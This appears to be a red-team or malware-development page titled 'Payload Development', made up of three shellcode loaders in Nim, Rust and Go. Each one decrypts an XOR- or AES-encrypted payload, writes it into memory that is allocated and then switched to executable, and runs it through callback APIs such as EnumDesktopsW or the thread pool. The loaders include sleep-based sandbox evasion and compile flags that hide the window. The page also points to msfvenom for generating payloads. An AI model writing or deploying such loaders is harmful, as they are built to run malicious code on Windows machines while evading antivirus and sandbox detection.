Payload Development

# Install Nim and winim
# nimble install winim

import winim/lean
import strutils

# Placeholder shellcode: 4 bytes so this compiles. Swap in your XOR-encrypted
# payload and change the array length to match (msfvenom -p windows/x64/... -f nim).
const encShellcode: array[4, byte] = [0xfc, 0x48, 0x83, 0xe4]

proc xorDecrypt(data: var openArray[byte], key: byte) =
  for i in 0..data.high:
    data[i] = data[i] xor key

proc main() =
  # Anti-sandbox check
  Sleep(5000)  # Sandboxes often skip long sleeps
  
  var sc = encShellcode
  xorDecrypt(sc, 0x41)  # Decrypt shellcode

  # Allocate RW memory via direct Windows API
  let mem = VirtualAlloc(nil, cast[SIZE_T](sc.len), 
    MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
  
  # Copy shellcode
  copyMem(mem, addr sc[0], sc.len)
  
  # Change to RX (never RWX)
  var oldProtect: DWORD
  VirtualProtect(mem, cast[SIZE_T](sc.len), 
    PAGE_EXECUTE_READ, addr oldProtect)
  
  # Execute via callback instead of CreateThread
  EnumDesktopsW(GetProcessWindowStation(), 
    cast[DESKTOPENUMPROCW](mem), 0)

main()

# Compile:
# nim c -d:release -d:strip --opt:size --app:gui loader.nim

// Cargo.toml — pin current versions; the windows crate changes shape between releases
//   windows = { version = "...", features = ["Win32_System_Memory",
//     "Win32_System_Threading", "Win32_Foundation"] }
//   aes = "0.8"   cbc = "0.1"

use windows::Win32::System::Memory::*;
use windows::Win32::System::Threading::*;

// AES-encrypted shellcode (compile-time encrypted; multiple of 16 bytes for CBC)
const ENC_SHELLCODE: &[u8] = include_bytes!("../shellcode.enc");
// 32 bytes — the length AES-256 requires
const AES_KEY: &[u8; 32] = b"0123456789abcdef0123456789abcdef";

fn decrypt_aes(data: &[u8], _key: &[u8]) -> Vec<u8> {
    // STUB: returns the ciphertext unchanged so the skeleton compiles.
    // Implement AES-256-CBC decryption here before running this.
    data.to_vec()
}

fn main() {
    // Anti-sandbox: check process count, timing
    let start = std::time::Instant::now();
    std::thread::sleep(std::time::Duration::from_secs(3));
    if start.elapsed().as_secs() < 2 { return; } // Sandbox detected
    
    let shellcode = decrypt_aes(ENC_SHELLCODE, AES_KEY);
    
    unsafe {
        // Allocate RW memory
        let mem = VirtualAlloc(
            None, shellcode.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
        );
        
        // Copy shellcode
        std::ptr::copy_nonoverlapping(
            shellcode.as_ptr(), mem as *mut u8, shellcode.len()
        );
        
        // Flip to RX
        let mut old = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(mem, shellcode.len(), PAGE_EXECUTE_READ, &mut old);
        
        // Execute via thread pool callback
        let tp_work = CreateThreadpoolWork(
            Some(std::mem::transmute(mem)), None, None
        );
        SubmitThreadpoolWork(tp_work.unwrap());
        WaitForThreadpoolWorkCallbacks(tp_work.unwrap(), false);
    }
}

// Build: cargo build --release

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "syscall"
    "time"
    "unsafe"
)

// 16-byte placeholder for the AES-encrypted payload (CBC needs a block multiple).
// Replace with your own ciphertext before building.
var encShellcode = []byte{
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
}

func decrypt(data, key, iv []byte) []byte {
    block, _ := aes.NewCipher(key)
    mode := cipher.NewCBCDecrypter(block, iv)
    mode.CryptBlocks(data, data)
    return data
}

func main() {
    // Anti-sandbox timing check
    start := time.Now()
    time.Sleep(3 * time.Second)
    if time.Since(start) < 2*time.Second {
        return // Sandbox fast-forwarded our sleep
    }

    key := []byte("0123456789abcdef0123456789abcdef")
    iv := []byte("0123456789abcdef")
    shellcode := decrypt(encShellcode, key, iv)

    // Windows API via syscall
    kernel32 := syscall.MustLoadDLL("kernel32.dll")
    virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
    virtualProtect := kernel32.MustFindProc("VirtualProtect")

    // Allocate RW
    addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)),
        0x1000|0x2000, 0x04) // MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE

    // Copy shellcode
    for i, b := range shellcode {
        *(*byte)(unsafe.Pointer(addr + uintptr(i))) = b
    }

    // Flip to RX
    var oldProtect uint32
    virtualProtect.Call(addr, uintptr(len(shellcode)), 0x20,
        uintptr(unsafe.Pointer(&oldProtect))) // PAGE_EXECUTE_READ

    // Execute via callback
    enumDesktops := kernel32.MustFindProc("EnumDesktopsW")
    getProcessWindowStation := kernel32.MustFindProc("GetProcessWindowStation")
    hStation, _, _ := getProcessWindowStation.Call()
    enumDesktops.Call(hStation, addr, 0)
}

// Build: GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"